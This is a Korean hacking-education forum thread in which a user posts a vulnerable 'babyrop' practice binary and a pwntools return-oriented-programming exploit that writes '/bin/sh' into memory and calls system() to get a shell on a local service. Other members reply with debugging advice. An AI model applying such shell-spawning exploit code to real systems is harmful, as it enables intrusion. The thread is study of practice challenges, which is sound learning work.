시스템 해킹

 1574, 1/79 회원가입  로그인  
   tkakr7458
   pwntools 를 이용한 익스 질문

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1859 [복사]


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+Ch] [bp-8Ch]@1
  int v5; // [sp+8Ch] [bp-Ch]@1

  v5 = 0;
  system("echo \"it's very very easy buffer overflow\"");
  read(0, &buf, 0x100u);
  printf("buf: %s\n", &buf);
  return 0;
}

위는 소스 코드입니다.

from pwn import*

elf = ELF("./babyrop")
conn = remote("localhost",9999)


binsh = "/bin/sh\00"
bss = 0x08049f14
read_plt = elf.plt['read']
system_plt = elf.plt['system']
pppr = 0x804853

print "system@plt : " +hex(system_plt)
print "read@plt : " +hex(read_plt)
print "pppr : " +hex(pppr)

payload = "A"*144
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(system_plt)
payload += "AAAA"
payload += p32(bss)

print "expolt start"

conn.send(payload)
conn.send(binsh)

conn.send("id\n")
conn.interactive()

위와 같이 작성했습니다.

[*] '/home/jack2/Desktop/babyrop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9999: Done
system@plt : 0x8048340
read@plt : 0x8048320
pppr : 0x804853
expolt start
[*] Switching to interactive mode
it's very very easy buffer overflow
[*] Got EOF while reading in interactive
$ id
[*] Closed connection to localhost port 9999
[*] Got EOF while sending in interactive

이렇게 성공을 못했는데 왜 이러나요 ㅠㅠ 가젯은 똑바로 찾았습니다.!!
  Hit : 7256     Date : 2017/04/16 06:06


    
해쿨러 buf가 ebp-0x8c에 있으니 0x8c+4 해서 144바이트만큼 맨처음에 A를 넣으셔야 합니다 140개밖에 안넣으셔서 안되는겁니다 2017/04/16  
tkakr7458 144 넣었어요.. 2017/04/16  
해쿨러 아 제가 잘못봤군요 그러면 s.send(payload)와 s.send(binsh) 사이에 time.sleep(0.5)를 넣어보세요
저렇게 짧은 시간차로 주면 버퍼는 큰데 작은 문자열 두개가 오니까 둘다 buf에 들어갈 수 있습니다		 2017/04/16  
tkakr7458 잘 안되네요 ㅠ 2017/04/16  
해쿨러 strace를 써보세요 엄청 좋습니다
remote() 바로 다음에 pause() 한줄 넣으시고 파이썬 실행하시면 멈춰있는데
그 때 서버에서 strace -if -p $(pgrep babyrop) 하시면 어태치 되고 파이썬에서 엔터 한번 치셔서 보시면 됩니다		 2017/04/16  
parktong80 혹시 babyrop 바이너리 보내주실수 있으신가요?
parktong80@naver.com 입니다		 2017/05/03  
1574   pwnable.kr echo1 질문2 (스포 주의)[2]     turttle2s
 10/05 1206
1573   LOB GATE문제 풀면서 궁금한점[3]     hackxx123
 08/24 861
1572   libc관련 - 2[5]     lMaxl04
 08/24 853
1571   ASLR이 걸려있을때 ret에 ROP으로 jmp %esp을 사용한 경우.[3]     lMaxl04
 06/29 1111
1570   리모트 환경에서의 스택 주소 확인 방법이 궁금합니다.[2]     lMaxl04
 06/16 915
1569   해킹 프리서버 없어졌나요?[1]     terfkim
 04/15 1694
1568   스택에 데이터 넣을 때 SIGSEGV[4]     turttle2s
 02/04 1424
1567   pwnable.kr echo1 질문[2]     turttle2s
 06/17 1703
1566   ROP strcpy 관련 질문입니다.[3]     heeyoung0511
 06/16 1554
1565   Level2 -> Level3 에서 vi와 /usr/bin/Editor의 차이[2]     hyemin1826
 07/18 1783
1564   Trainer3 ftz.hackerschool.org 호스트 접속 불가[1]     hyemin1826
 07/18 3192
1563   dll인젝션 실험중 질문 드립니다.[1]     kkk477
 05/31 1824
1562   패킷 복호화를 마스터 하려면 어떤 과정이 있어야하나요?     sa0814
 04/01 1667
1561   사기[2]     jas08
 03/31 1960
1560   시스템 콜이 가능한 메모리 영역과 불가능한 메모리 영역이 존재하나요?     ocal
 03/30 1709
1559   pwntools 사용시와 기본 socket 모듈 이용시 차이?[4]     ocal
 01/09 2249
1558   lob level19(nightmare) 관련질문[1]     dnjsdnwja
 12/18 1720
1557   ftz level2 질문있습니다[1]     kihyun1998
 12/13 1811
1556   ftz level2번 푸는데요 권한이...     kihyun1998
 12/06 1687
1555   시스템해킹할때 [3]     thsrhkdwns
 12/05 2162
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org